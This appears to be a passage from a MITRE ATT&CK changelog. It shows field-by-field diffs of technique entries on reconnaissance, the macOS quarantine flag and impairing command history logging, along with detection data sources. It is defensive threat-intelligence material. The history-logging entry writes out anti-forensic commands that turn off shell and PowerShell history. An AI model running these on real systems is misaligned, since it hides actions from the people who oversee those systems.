Review false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag.
QuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'} | |
| external_references | {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'} | |
| external_references | {'source_name': 'Clearing quarantine attribute', 'description': 'Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.', 'url': 'https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/'} | |
| external_references | {'source_name': 'Bypassing Gatekeeper', 'description': "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.", 'url': 'https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/'} | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | File: File Metadata |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's hosts |
| > | tion about the victim's hosts that can be used during target | > | that can be used during targeting. Information about hosts m | ||
| > | ing. Information about hosts may include a variety of detail | > | ay include a variety of details, including administrative da | ||
| > | s, including administrative data (ex: name, assigned IP, fun | > | ta (ex: name, assigned IP, functionality, etc.) as well as s | ||
| > | ctionality, etc.) as well as specifics regarding its configu | > | pecifics regarding its configuration (ex: operating system, | ||
| > | ration (ex: operating system, language, etc.). Adversaries | > | language, etc.). Adversaries may gather this information in | ||
| > | may gather this information in various ways, such as direct | > | various ways, such as direct collection actions via [Active | ||
| > | collection actions via [Active Scanning](https://attack.mitr | > | Scanning](https://attack.mitre.org/techniques/T1595) or [Ph | ||
| > | e.org/techniques/T1595) or [Phishing for Information](https: | > | ishing for Information](https://attack.mitre.org/techniques/ | ||
| > | //attack.mitre.org/techniques/T1598). Adversaries may also c | > | T1598). Adversaries may also compromise sites then include m | ||
| > | ompromise sites then include malicious content designed to c | > | alicious content designed to collect host information from v | ||
| > | ollect host information from visitors.(Citation: ATT ScanBox | > | isitors.(Citation: ATT ScanBox) Information about hosts may | ||
| > | ) Information about hosts may also be exposed to adversaries | > | also be exposed to adversaries via online or other accessibl | ||
| > | via online or other accessible data sets (ex: [Social Media | > | e data sets (ex: [Social Media](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1593/001) or [Search | > | hniques/T1593/001) or [Search Victim-Owned Websites](https:/ | ||
| > | Victim-Owned Websites](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1594)). Gathering this informa | ||
| > | 1594)). Gathering this information may reveal opportunities | > | tion may reveal opportunities for other forms of reconnaissa | ||
| > | for other forms of reconnaissance (ex: [Search Open Websites | > | nce (ex: [Search Open Websites/Domains](https://attack.mitre | ||
| > | /Domains](https://attack.mitre.org/techniques/T1593) or [Sea | > | .org/techniques/T1593) or [Search Open Technical Databases]( | ||
| > | rch Open Technical Databases](https://attack.mitre.org/techn | > | https://attack.mitre.org/techniques/T1596)), establishing op | ||
| > | iques/T1596)), establishing operational resources (ex: [Deve | > | erational resources (ex: [Develop Capabilities](https://atta | ||
| > | lop Capabilities](https://attack.mitre.org/techniques/T1587) | > | ck.mitre.org/techniques/T1587) or [Obtain Capabilities](http | ||
| > | or [Obtain Capabilities](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1588)), and/or initial acce | ||
| > | s/T1588)), and/or initial access (ex: [Supply Chain Compromi | > | ss (ex: [Supply Chain Compromise](https://attack.mitre.org/t | ||
| > | se](https://attack.mitre.org/techniques/T1195) or [External | > | echniques/T1195) or [External Remote Services](https://attac | ||
| > | Remote Services](https://attack.mitre.org/techniques/T1133)) | > | k.mitre.org/techniques/T1133)). | ||
| > | . | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:53:39.351000+00:00 | 2021-10-17 16:35:09.878000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's organi |
| > | tion about the victim's organization that can be used during | > | zation that can be used during targeting. Information about | ||
| > | targeting. Information about an organization may include a | > | an organization may include a variety of details, including | ||
| > | variety of details, including the names of divisions/departm | > | the names of divisions/departments, specifics of business op | ||
| > | ents, specifics of business operations, as well as the roles | > | erations, as well as the roles and responsibilities of key e | ||
| > | and responsibilities of key employees. Adversaries may gat | > | mployees. Adversaries may gather this information in variou | ||
| > | her this information in various ways, such as direct elicita | > | s ways, such as direct elicitation via [Phishing for Informa | ||
| > | tion via [Phishing for Information](https://attack.mitre.org | > | tion](https://attack.mitre.org/techniques/T1598). Informatio | ||
| > | /techniques/T1598). Information about an organization may al | > | n about an organization may also be exposed to adversaries v | ||
| > | so be exposed to adversaries via online or other accessible | > | ia online or other accessible data sets (ex: [Social Media]( | ||
| > | data sets (ex: [Social Media](https://attack.mitre.org/techn | > | https://attack.mitre.org/techniques/T1593/001) or [Search Vi | ||
| > | iques/T1593/001) or [Search Victim-Owned Websites](https://a | > | ctim-Owned Websites](https://attack.mitre.org/techniques/T15 | ||
| > | ttack.mitre.org/techniques/T1594)).(Citation: ThreatPost Bro | > | 94)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC ED | ||
| > | advoice Leak)(Citation: DOB Business Lookup) Gathering this | > | GAR Search) Gathering this information may reveal opportunit | ||
| > | information may reveal opportunities for other forms of reco | > | ies for other forms of reconnaissance (ex: [Phishing for Inf | ||
| > | nnaissance (ex: [Phishing for Information](https://attack.mi | > | ormation](https://attack.mitre.org/techniques/T1598) or [Sea | ||
| > | tre.org/techniques/T1598) or [Search Open Websites/Domains]( | > | rch Open Websites/Domains](https://attack.mitre.org/techniqu | ||
| > | https://attack.mitre.org/techniques/T1593)), establishing op | > | es/T1593)), establishing operational resources (ex: [Establi | ||
| > | erational resources (ex: [Establish Accounts](https://attack | > | sh Accounts](https://attack.mitre.org/techniques/T1585) or [ | ||
| > | .mitre.org/techniques/T1585) or [Compromise Accounts](https: | > | Compromise Accounts](https://attack.mitre.org/techniques/T15 | ||
| > | //attack.mitre.org/techniques/T1586)), and/or initial access | > | 86)), and/or initial access (ex: [Phishing](https://attack.m | ||
| > | (ex: [Phishing](https://attack.mitre.org/techniques/T1566) | > | itre.org/techniques/T1566) or [Trusted Relationship](https:/ | ||
| > | or [Trusted Relationship](https://attack.mitre.org/technique | > | /attack.mitre.org/techniques/T1199)). | ||
| > | s/T1199)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:10:36.479000+00:00 | 2021-08-27 15:37:09.343000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
| external_references[2]['source_name'] | DOB Business Lookup | SEC EDGAR Search |
| external_references[2]['description'] | Concert Technologies . (n.d.). Business Lookup - Company Name Search. Retrieved October 20, 2020. | U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021. |
| external_references[2]['url'] | https://www.dobsearch.com/business-lookup/ | https://www.sec.gov/edgar/search-and-access |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Itamar Mizrahi, Cymptom'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 12:59:10.840000+00:00 | 2020-11-05 16:07:03.779000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Active Directory: Active Directory Credential Request |
| x_mitre_data_sources[1] | Windows event logs | Logon Session: Logon Session Metadata |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's host h |
| > | tion about the victim's host hardware that can be used durin | > | ardware that can be used during targeting. Information about | ||
| > | g targeting. Information about hardware infrastructure may i | > | hardware infrastructure may include a variety of details su | ||
| > | nclude a variety of details such as types and versions on sp | > | ch as types and versions on specific hosts, as well as the p | ||
| > | ecific hosts, as well as the presence of additional componen | > | resence of additional components that might be indicative of | ||
| > | ts that might be indicative of added defensive protections ( | > | added defensive protections (ex: card/biometric readers, de | ||
| > | ex: card/biometric readers, dedicated encryption hardware, e | > | dicated encryption hardware, etc.). Adversaries may gather | ||
| > | tc.). Adversaries may gather this information in various wa | > | this information in various ways, such as direct collection | ||
| > | ys, such as direct collection actions via [Active Scanning]( | > | actions via [Active Scanning](https://attack.mitre.org/techn | ||
| > | https://attack.mitre.org/techniques/T1595) (ex: hostnames, s | > | iques/T1595) (ex: hostnames, server banners, user agent stri | ||
| > | erver banners, user agent strings) or [Phishing for Informat | > | ngs) or [Phishing for Information](https://attack.mitre.org/ | ||
| > | ion](https://attack.mitre.org/techniques/T1598). Adversaries | > | techniques/T1598). Adversaries may also compromise sites the | ||
| > | may also compromise sites then include malicious content de | > | n include malicious content designed to collect host informa | ||
| > | signed to collect host information from visitors.(Citation: | > | tion from visitors.(Citation: ATT ScanBox) Information about | ||
| > | ATT ScanBox) Information about the hardware infrastructure m | > | the hardware infrastructure may also be exposed to adversar | ||
| > | ay also be exposed to adversaries via online or other access | > | ies via online or other accessible data sets (ex: job postin | ||
| > | ible data sets (ex: job postings, network maps, assessment r | > | gs, network maps, assessment reports, resumes, or purchase i | ||
| > | eports, resumes, or purchase invoices). Gathering this infor | > | nvoices). Gathering this information may reveal opportunitie | ||
| > | mation may reveal opportunities for other forms of reconnais | > | s for other forms of reconnaissance (ex: [Search Open Websit | ||
| > | sance (ex: [Search Open Websites/Domains](https://attack.mit | > | es/Domains](https://attack.mitre.org/techniques/T1593) or [S | ||
| > | re.org/techniques/T1593) or [Search Open Technical Databases | > | earch Open Technical Databases](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1596)), establishing | > | hniques/T1596)), establishing operational resources (ex: [De | ||
| > | operational resources (ex: [Develop Capabilities](https://at | > | velop Capabilities](https://attack.mitre.org/techniques/T158 | ||
| > | tack.mitre.org/techniques/T1587) or [Obtain Capabilities](ht | > | 7) or [Obtain Capabilities](https://attack.mitre.org/techniq | ||
| > | tps://attack.mitre.org/techniques/T1588)), and/or initial ac | > | ues/T1588)), and/or initial access (ex: [Compromise Hardware | ||
| > | cess (ex: [Compromise Hardware Supply Chain](https://attack. | > | Supply Chain](https://attack.mitre.org/techniques/T1195/003 | ||
| > | mitre.org/techniques/T1195/003) or [Hardware Additions](http | > | ) or [Hardware Additions](https://attack.mitre.org/technique | ||
| > | s://attack.mitre.org/techniques/T1200)). | > | s/T1200)). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:53:03.353000+00:00 | 2021-10-17 16:32:10.810000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). | Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 22:49:43.557000+00:00 | 2022-03-15 21:09:43.489000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Script: Script Execution |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Modification |
| x_mitre_data_sources[3] | PowerShell logs | Process: Process Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Linux |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-23 11:31:50.636000+00:00 | 2022-03-25 15:59:09.632000+00:00 |
| external_references[2]['description'] | Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020. | Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021. |
| external_references[2]['url'] | http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf | https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf |
| x_mitre_data_sources[0] | API monitoring | Application Log: Application Log Content |
| x_mitre_data_sources[1] | PowerShell logs | Command: Command Execution |
| x_mitre_data_sources[2] | Authentication logs | User Account: User Account Metadata |
| x_mitre_data_sources[3] | Process command-line parameters | File: File Modification |
| x_mitre_data_sources[4] | Process monitoring | Service: Service Creation |
| x_mitre_data_sources[5] | File monitoring | File: File Metadata |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: OS API Execution | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification | |
| x_mitre_data_sources | Firmware: Firmware Modification | |
| x_mitre_data_sources | User Account: User Account Creation | |
| x_mitre_data_sources | Script: Script Execution | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_platforms | Office 365 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may impair command history logging to hide comma | t | 1 | Adversaries may impair command history logging to hide comma |
| > | nds they run on a compromised system. Various command interp | > | nds they run on a compromised system. Various command interp | ||
| > | reters keep track of the commands users type in their termin | > | reters keep track of the commands users type in their termin | ||
| > | al so that users can retrace what they've done. On Linux a | > | al so that users can retrace what they've done. On Linux a | ||
| > | nd macOS, command history is tracked in a file pointed to by | > | nd macOS, command history is tracked in a file pointed to by | ||
| > | the environment variable <code>HISTFILE</code>. When a user | > | the environment variable <code>HISTFILE</code>. When a user | ||
| > | logs off a system, this information is flushed to a file in | > | logs off a system, this information is flushed to a file in | ||
| > | the user's home directory called <code>~/.bash_history</cod | > | the user's home directory called <code>~/.bash_history</cod | ||
| > | e>. The <code>HISTCONTROL</code> environment variable keeps | > | e>. The <code>HISTCONTROL</code> environment variable keeps | ||
| > | track of what should be saved by the <code>history</code> co | > | track of what should be saved by the <code>history</code> co | ||
| > | mmand and eventually into the <code>~/.bash_history</code> f | > | mmand and eventually into the <code>~/.bash_history</code> f | ||
| > | ile when a user logs out. <code>HISTCONTROL</code> does not | > | ile when a user logs out. <code>HISTCONTROL</code> does not | ||
| > | exist by default on macOS, but can be set by the user and wi | > | exist by default on macOS, but can be set by the user and wi | ||
| > | ll be respected. Adversaries may clear the history environm | > | ll be respected. Adversaries may clear the history environm | ||
| > | ent variable (<code>unset HISTFILE</code>) or set the comman | > | ent variable (<code>unset HISTFILE</code>) or set the comman | ||
| > | d history size to zero (<code>export HISTFILESIZE=0</code>) | > | d history size to zero (<code>export HISTFILESIZE=0</code>) | ||
| > | to prevent logging of commands. Additionally, <code>HISTCONT | > | to prevent logging of commands. Additionally, <code>HISTCONT | ||
| > | ROL</code> can be configured to ignore commands that start w | > | ROL</code> can be configured to ignore commands that start w | ||
| > | ith a space by simply setting it to "ignorespace". <code>HIS | > | ith a space by simply setting it to "ignorespace". <code>HIS | ||
| > | TCONTROL</code> can also be set to ignore duplicate commands | > | TCONTROL</code> can also be set to ignore duplicate commands | ||
| > | by setting it to "ignoredups". In some Linux systems, this | > | by setting it to "ignoredups". In some Linux systems, this | ||
| > | is set by default to "ignoreboth" which covers both of the p | > | is set by default to "ignoreboth" which covers both of the p | ||
| > | revious examples. This means that “ ls” will not be saved, b | > | revious examples. This means that “ ls” will not be saved, b | ||
| > | ut “ls” would be saved by history. Adversaries can abuse thi | > | ut “ls” would be saved by history. Adversaries can abuse thi | ||
| > | s to operate without leaving traces by simply prepending a s | > | s to operate without leaving traces by simply prepending a s | ||
| > | pace to all of their terminal commands. On Windows systems, | > | pace to all of their terminal commands. On Windows systems | ||
| > | the <code>PSReadLine</code> module tracks commands used in | > | , the <code>PSReadLine</code> module tracks commands used in | ||
| > | all PowerShell sessions and writes them to a file (<code>$en | > | all PowerShell sessions and writes them to a file (<code>$e | ||
| > | v:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHos | > | nv:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHo | ||
| > | t_history.txt</code> by default). Adversaries may change whe | > | st_history.txt</code> by default). Adversaries may change wh | ||
| > | re these logs are saved using <code>Set-PSReadLineOption -Hi | > | ere these logs are saved using <code>Set-PSReadLineOption -H | ||
| > | storySavePath {File Path}</code>. This will cause <code>Cons | > | istorySavePath {File Path}</code>. This will cause <code>Con | ||
| > | oleHost_history.txt</code> to stop receiving logs. Additiona | > | soleHost_history.txt</code> to stop receiving logs. Addition | ||
| > | lly, it is possible to turn off logging to this file using t | > | ally, it is possible to turn off logging to this file using | ||
| > | he PowerShell command <code>Set-PSReadlineOption -HistorySav | > | the PowerShell command <code>Set-PSReadlineOption -HistorySa | ||
| > | eStyle SaveNothing</code>.(Citation: Microsoft PowerShell Co | > | veStyle SaveNothing</code>.(Citation: Microsoft PowerShell C | ||
| > | mmand History)(Citation: Sophos PowerShell command audit)(Ci | > | ommand History)(Citation: Sophos PowerShell command audit)(C | ||
| > | tation: Sophos PowerShell Command History Forensics) | > | itation: Sophos PowerShell Command History Forensics) Adver | ||
| > | saries may also leverage a [Network Device CLI](https://atta | ||||
| > | ck.mitre.org/techniques/T1059/008) on network devices to dis | ||||
| > | able historical command logging. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020. | |
| external_references | CAPEC-13 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] | |
| external_references | CAPEC-13 | |
| external_references | Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 18:25:12.727000+00:00 | 2022-04-20 18:11:45.153000+00:00 |
| description | Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
On Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.
Adversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.
